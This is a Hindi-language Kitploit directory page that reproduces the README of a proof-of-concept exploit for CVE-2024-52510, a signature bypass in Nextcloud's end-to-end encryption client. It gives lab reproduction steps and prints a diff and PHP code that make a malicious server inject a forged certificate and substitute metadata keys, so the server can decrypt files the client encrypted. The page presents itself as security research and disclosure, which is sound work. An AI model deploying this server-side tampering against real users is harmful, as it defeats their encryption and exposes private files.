Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-52510 — CVE-2024-52510 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Nextcloud के E2EEv2 प्रोटोकॉल में हस्ताक्षर बायपास प्रदर्शित करता है, जिससे मेटाडेटा कुंजी इंजेक्शन के माध्यम से एन्क्रिप्टेड फ़ाइलों का सर्वर-साइड डिक्रिप्शन संभव हो जाता है। | Kitploit
उपकरण/GitHubGitHub/d-xuan/cve-2024-52510
एन्क्रिप्शन/डिक्रिप्शन उपकरणभेद्यता विश्लेषणशोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षा
GitHubd-xuan/cve-2024-52510

CVE-2024-52510

CVE-2024-52510 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Nextcloud के E2EEv2 प्रोटोकॉल में हस्ताक्षर बायपास प्रदर्शित करता है, जिससे मेटाडेटा कुंजी इंजेक्शन के माध्यम से एन्क्रिप्टेड फ़ाइलों का सर्वर-साइड डिक्रिप्शन संभव हो जाता है।

रिपॉजिटरी देखें
2892 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Nextcloud X-E2EE-SIGNATURE बायपास POC

सारांश

  • Nextcloud के E2EEv2 प्रोटोकॉल के सामान्य संचालन के दौरान, क्लाइंट सर्वर पर अपलोड करने से पहले फ़ोल्डर-मेटाडेटा पर क्रिप्टोग्राफ़िक रूप से हस्ताक्षर करते हैं। यह सुनिश्चित करता है कि फ़ाइल-साझाकरण या सिंकिंग परिवर्तनों के उद्देश्य से इसे पुनः प्राप्त करने पर मेटाडेटा के साथ छेड़छाड़ नहीं की गई है।

  • हस्ताक्षर सत्यापन क्लाइंट द्वारा foldermetadata.cpp:177 में किया जाता है, जब प्राप्त मेटाडेटा प्रारंभ किया जाता है। हालाँकि, एक दुर्भावनापूर्ण सर्वर इस जाँच को बायपास करने के दो तरीके हैं:

    • वे एक खाली X-E2EE-SIGNATURE रिस्पांस हेडर के साथ उत्तर दे सकते हैं। चूँकि हेडर खाली है, foldermetadata.cpp:168 पर स्थित शर्त का अर्थ है कि हस्ताक्षर सत्यापन नहीं होता है, और संशोधित मेटाडेटा क्लाइंट द्वारा स्वीकार कर लिया जाता है।

    • वे users JSON ऐरे में एक प्रमाणपत्र इंजेक्ट कर सकते हैं, और फिर उस प्रमाणपत्र के साथ मेटाडेटा पर हस्ताक्षर कर सकते हैं। चूँकि clientsideencryption.cpp:941 पर CMS_NO_SIGNER_CERT_VERIFY पास किया जाता है, हस्ताक्षर करने वाले प्रमाणपत्र का चेन-सत्यापन नहीं होता है और क्लाइंट केवल यह जाँचता है कि हस्ताक्षर करने वाला प्रमाणपत्र clientsideencryption.cpp:955-971 में certificatePems वेक्टर में मौजूद है, जो सर्वर द्वारा नियंत्रित होता है।

  • इस POC में हम दूसरी विधि का प्रदर्शन करेंगे क्योंकि यह विधि लागू करने के लिए अधिक कठिन है, हालाँकि दोनों को कार्य करने के लिए परीक्षण किया गया है।

  • एक दुर्भावनापूर्ण सर्वर इस बायपास का उपयोग क्लाइंट्स को सर्वर को ज्ञात मेटाडेटा कुंजियाँ प्रदान करने के लिए कर सकता है। क्लाइंट तब इस मेटाडेटा कुंजी का उपयोग बाद की फ़ाइलों को एन्क्रिप्ट करने के लिए करेंगे, जिससे सर्वर एंड-टू-एंड एन्क्रिप्टेड फ़ोल्डरों में फ़ाइलों को डिक्रिप्ट और पढ़ सकता है।

    हस्ताक्षर बायपास का लाभ उठाने का यह तरीका 2023 में Albrecht, Backendal, Coppola, Paterson द्वारा E2EE प्रोटोकॉल के पिछले संस्करण पर खोजे गए एक हमले पर आधारित है (https://eprint.iacr.org/2024/546)। वास्तव में, मेटाडेटा कुंजियों का प्रमाणीकरण हमले के लिए एक शमन रणनीति थी (लिंक किए गए पेपर का अनुभाग 5.1 देखें)।

पुनरुत्पादन के चरण

  1. इस रिपॉजिटरी को क्लोन करें, और DevContainer एक्सटेंशन का उपयोग करके इसे VS Code में खोलें। Nextcloud सर्वर रिपॉजिटरी में मौजूद एक पर आधारित DevContainer निम्नलिखित परिवर्तनों के साथ प्रदान किया गया है:

    • डिबगिंग उद्देश्यों के लिए, पोर्ट 7001 पर एक mitmproxy रिवर्स प्रॉक्सी मौजूद है। वेब UI को पोर्ट 7002 पर एक्सेस किया जा सकता है।
    • Nextcloud सर्वर की स्थापना पर, encryption और end_to_end_encryption ऐप्स भी सक्षम होंगे, और उपयोगकर्ता नाम और पासवर्ड sharer वाला एक खाता बनाया जाएगा।
  2. सर्वर चालू होने के बाद, नवीनतम क्लाइंट का उपयोग करके http://localhost:8000 पर (या http://localhost:7001 पर रिवर्स प्रॉक्सी के माध्यम से) उससे कनेक्ट करें। वर्तमान में मैंने इसे v3.13.2 AppImage पर परीक्षण किया है।

sha256sum Nextcloud-3.13.2-x86_64.AppImage 
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2  Nextcloud-3.13.2-x86_64.AppImage
  1. संकेत मिलने पर, उपयोगकर्ता नाम sharer और पासवर्ड sharer के साथ लॉग इन करें। डिफ़ॉल्ट सिंकिंग विकल्प (इसके अंदर welcome.txt के साथ एक निर्देशिका ~/Nextcloud/ बनाना) स्वीकार करें, और Nextcloud क्लाइंट सेटिंग्स में एंड-टू-एंड एन्क्रिप्शन सेट करें।

  2. ~/Nextcloud निर्देशिका के अंदर एक नया फ़ोल्डर encrypted_folder बनाएँ। Nextcloud क्लाइंट सेटिंग्स में, इस फ़ोल्डर को एन्क्रिप्टेड के रूप में चिह्नित करें।

  1. Nextcloud/encrypted_folder के अंदर, एक साधारण टेक्स्ट फ़ाइल बनाएँ और इसके सिंक होने की प्रतीक्षा करें।
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
  1. http://localhost:8080/ पर Adminer में Postgres डेटाबेस में निम्नलिखित क्रेडेंशियल का उपयोग करके लॉग इन करें:

    • उपयोगकर्ता नाम: postgres
    • पासवर्ड: postgres
    • डेटाबेस: postgres

और oc_e2e_encryption_metadata और oc_e2e_encryption_decrypted तालिकाओं पर नेविगेट करें। आपको डिक्रिप्टेड मेटाडेटा और फ़ाइल सामग्री स्पष्ट रूप में देखने में सक्षम होना चाहिए।

उपरोक्त स्क्रीनशॉट में कुछ अतिरिक्त परीक्षण फ़ाइलें बनाई और हटाई गई थीं, इसलिए वे आपके द्वारा देखे जाने से थोड़े भिन्न होंगे।

तकनीकी विवरण

यह रिपॉजिटरी Nextcloud सर्वर और एंड-टू-एंड एन्क्रिप्शन ऐप रिपॉजिटरी पर आधारित है। अधिकांश कोड अपरिवर्तित रहता है, इसलिए मैं यह समझाने का प्रयास करूँगा कि किन चीज़ों को बदला गया है।

सबसे पहले, MetaDataStorage.php की getMetadata विधि को इस प्रकार बदला गया है कि वह एक नई getFakeUserMetadata विधि में कॉल करके लौटाए गए मेटाडेटा के साथ छेड़छाड़ करे।

--- original/lib/MetaDataStorage.php	2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php	2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
 			return $legacyFile->getContent();
 		}
 
-		$folderName = $this->getFolderNameForFileId($id);
-		$folder = $this->appData->getFolder($folderName);
+		$metaData = $this->getFakeUserMetadata($id);
 
-		return $folder
-			->getFile($this->metaDataFileName)
-			->getContent();
+		return $metaData;
 	}

getFakeUserMetadata विधि में, हम पहले एक चुने हुए प्रमाणपत्र को users JSON कुंजी में इंजेक्ट करते हैं। यह हस्ताक्षर जालसाजी को सुविधाजनक बनाने के लिए है।

	private function getFakeUserMetadata(int $id): string {
		$folderName = $this->getFolderNameForFileId($id);
		$folder = $this->appData->getFolder($folderName);

		$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());

		if (is_null($metaData->users)) {
			/* This is a non-root metadata. Return as normal*/
			return json_encode($metaData);
		}
				
		/* 
		 * Step 1: Inject a fake public key into the metadata
		 * This can be used to forge a signature for the response.
		 */
		$found = false;
		foreach ($metaData->users as $userData) {
			if ($userData->userId === $this->fakeUserId) {
				$found = true;
				break;
			}
		}
		if (!$found) {
			try {
				$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
				$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
				$pemCertificate = $certificateFile->getContent();
			} catch (NotFoundException $e) {
				/* Create a new private key for the fake user */
				$privateKey = openssl_pkey_new();
				openssl_pkey_export($privateKey, $privateKeyPem);
				$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);

				/* Client is expecting a certificate for the public key */
				$csr = openssl_csr_new(array(), $privateKey);
				$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
				openssl_x509_export($certificate, $pemCertificate);
				$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
			}

			$newUser = new \stdClass();
			$newUser->certificate = $pemCertificate;
			array_push($metaData->users, $newUser); 
		}

फिर, चूँकि हमारे पास क्लाइंट की सार्वजनिक कुंजी तक पहुँच है, हम अपनी स्वयं की कुंजियों को एन्क्रिप्ट कर सकते हैं और एन्क्रिप्टेड मेटाडेटा कुंजियों को उन कुंजियों से बदल सकते हैं जिन्हें हम नियंत्रित करते हैं।

टूल डाउनलोड करें